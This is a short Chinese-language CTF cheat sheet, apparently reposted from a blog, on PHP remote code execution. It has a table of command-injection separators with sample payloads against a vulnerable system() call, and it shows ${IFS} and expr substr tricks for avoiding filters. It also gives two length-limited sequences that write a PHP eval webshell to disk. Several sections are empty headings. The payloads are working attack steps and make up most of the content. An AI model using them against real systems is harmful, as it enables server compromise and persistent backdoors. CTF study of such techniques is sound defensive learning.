CTF RCE(远程代码执行)

时间:2019-08-22 20:40:33   收藏:0   阅读:504

php代码执行

一、相关函数

1、代码注入

2、命令执行

二、命令执行的绕过

1、命令执行的分隔符

例子:system("echo ".$_GET[1]);

功能 符号 payload
换行符 %0a ?1=123%0apwd
回车符 %0d 同上
连续指令 ; ?1=123;pwd
后台进程 & ?1=123&pwd
管道符 |(显示后面语句的结果) ?1=123|pwd
逻辑运算 ||或&& ?1=123||pwd

2、空格代替

3、绕过

4、命令执行的各种符号

使用env命令查看本地变量,expr substr来截取需要的字符,拼接成命令执行
例如:

echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

三、命令无回显的情况

1、判断

2、利用

四、可控字符串长度受限

【CTF 攻略】如何绕过四个字符限制getshell

1、15个字符

echo  \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php

2、7个字符

思路:
1、命令+>文件名可以生产文件(命令可以为空)
2、ls -t可以将文件按时间顺序排列
3、sh命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、\可以分行输入命令

w>hp
w>1.p\w>d\>\w>\ -\w>e64\w>bas\w>7\|\w>XSk\w>Fsx\w>dFV\w>kX0\w>bCg\w>XZh\w>AgZ\w>waH\w>PD9\w>o\ \w>ech\ls -t|sh

五、无数字字母getshell

原文:https://www.cnblogs.com/20175211lyz/p/11396392.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!